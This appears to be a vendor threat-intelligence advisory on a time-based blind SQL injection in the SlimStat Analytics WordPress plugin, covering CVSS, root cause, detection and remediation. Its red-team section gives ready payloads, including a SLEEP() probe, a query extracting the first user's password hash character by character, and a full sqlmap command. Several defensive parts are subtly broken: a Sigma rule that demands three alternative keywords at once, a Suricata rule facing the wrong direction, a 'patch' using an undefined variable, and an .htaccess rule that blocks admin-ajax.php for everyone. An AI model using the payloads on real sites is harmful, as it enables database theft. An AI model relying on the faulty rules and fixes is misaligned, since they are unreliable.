CVE-2025-13431

Executive Summary

CVE-2025-13431 is a time-based blind SQL Injection vulnerability discovered in the SlimStat Analytics WordPress plugin, affecting all versions up to and including 5.3.1. The flaw resides in insufficient escaping of the args parameter and lack of prepared statement usage in SQL queries. An authenticated attacker with Subscriber-level access or higher can inject malicious SQL payloads, potentially extracting sensitive data from the WordPress database, including user credentials, session tokens, and configuration secrets. The vulnerability is currently unpatched by the vendor, and no public exploit code or proof-of-concept has been released. Given the low EPSS score (0.0%), active exploitation is unlikely at this time, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify they are not running a compromised version from unofficial sources. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Subscriber-level authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – potential for full database extraction
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to extract sensitive data with low privileges makes this a significant concern for WordPress sites with untrusted user registrations.

Deep Dive & Mechanics

The vulnerability exists in the args parameter used by the SlimStat Analytics plugin to filter analytics data. The plugin fails to properly escape user-supplied input and does not use parameterized queries. This allows an authenticated attacker to inject SQL commands that are executed in the context of the existing query.

Attack Flow:

1. Attacker authenticates with Subscriber-level credentials.
2. Attacker crafts a malicious HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=slimstat_get_data&args=...).
3. The args parameter is passed directly into a SQL query without sanitization.
4. The attacker uses time-based blind SQL injection techniques (e.g., SLEEP()) to infer data character by character.
5. Sensitive information such as admin hashes, user emails, or secret keys can be extracted.

Root Cause: The plugin uses $wpdb->query() with string concatenation instead of $wpdb->prepare().

Vulnerable vs. Patched Code

Vulnerable Code (version 5.3.1):

$args = $_GET['args'];
$sql = "SELECT * FROM {$wpdb->prefix}slim_stats WHERE $args";
$results = $wpdb->get_results($sql);

Patched Code (hypothetical fix):

$args = $_GET['args'];
$allowed_params = ['browser', 'country', 'language'];
if (in_array($args, $allowed_params)) {
    $sql = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}slim_stats WHERE %s = %s", $args, $value);
    $results = $wpdb->get_results($sql);
} else {
    // reject invalid input
}

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is described.

Prerequisites:

• WordPress site with SlimStat Analytics <= 5.3.1
• Valid Subscriber account credentials

Exploitation Steps:

1. Intercept a request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target.com
   Cookie: wordpress_logged_in_...
   Content-Type: application/x-www-form-urlencoded
   
   action=slimstat_get_data&args=1 AND SLEEP(5)
   

2. If the response is delayed by 5 seconds, the injection is confirmed.
3. Extract data using time-based blind SQLi:

   args=1 AND IF(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$', SLEEP(5), 0)
   

Automation: Use sqlmap with the authenticated session:

sqlmap -u "http://target.com/wp-admin/admin-ajax.php?action=slimstat_get_data&args=1" --cookie="wordpress_logged_in_..." --data="action=slimstat_get_data&args=1" --technique=T --batch

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual admin-ajax.php requests with action=slimstat_get_data and suspicious args parameters containing SQL keywords (e.g., SLEEP, UNION, SELECT).
• Look for time-based anomalies in response times from the analytics endpoint.

Hardening:

• Disable the plugin immediately if not critical.
• Restrict access to admin-ajax.php for non-admin users via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=slimstat_get_data and args containing SQL keywords.
  • Unusual response delays (e.g., >5 seconds) from the analytics endpoint.
• File IOCs:
  • Modified wp-slimstat plugin files (check file integrity).
• Database IOCs:
  • Unexpected entries in wp_slim_stats table.
  • Evidence of brute-force extraction (many queries with SLEEP()).

Detection Engineering

YARA Rule

rule CVE_2025_13431_SlimStat_SQLi {
    meta:
        description = "Detects SlimStat Analytics SQL injection attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13431"
    strings:
        $s1 = "slimstat_get_data" nocase
        $s2 = "args=" nocase
        $s3 = "SLEEP(" nocase
        $s4 = "UNION SELECT" nocase
        $s5 = "BENCHMARK(" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: SlimStat Analytics SQL Injection Attempt
id: cve-2025-13431-sigma
status: experimental
description: Detects time-based SQL injection attempts against SlimStat Analytics plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=slimstat_get_data'
        cs-uri-query|contains: 'args='
        cs-uri-query|contains|all:
            - 'SLEEP('
            - 'BENCHMARK('
            - 'WAITFOR DELAY'
    condition: selection
falsepositives:
    - Legitimate use of SLEEP() in analytics (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13431 SlimStat Analytics SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=slimstat_get_data"; http_client_body;
    content:"args="; http_client_body;
    pcre:"/(SLEEP\(|BENCHMARK\(|WAITFOR DELAY)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-13431;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and remove SlimStat Analytics until a patch is released.
2. Audit user accounts – Remove any suspicious Subscriber-level accounts.
3. Rotate secrets – Change all WordPress salts and keys (wp-config.php).

Long-term Fix:

• Monitor the plugin's official page for a security update.
• Consider replacing with an alternative analytics plugin that uses parameterized queries.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with SQL injection rules.
• Restrict admin-ajax.php access to authenticated users only via IP whitelisting.
• Enable WordPress security plugins (e.g., Wordfence) with SQL injection detection.

Valters IT – DevSecOps & Cyber Threat Intelligence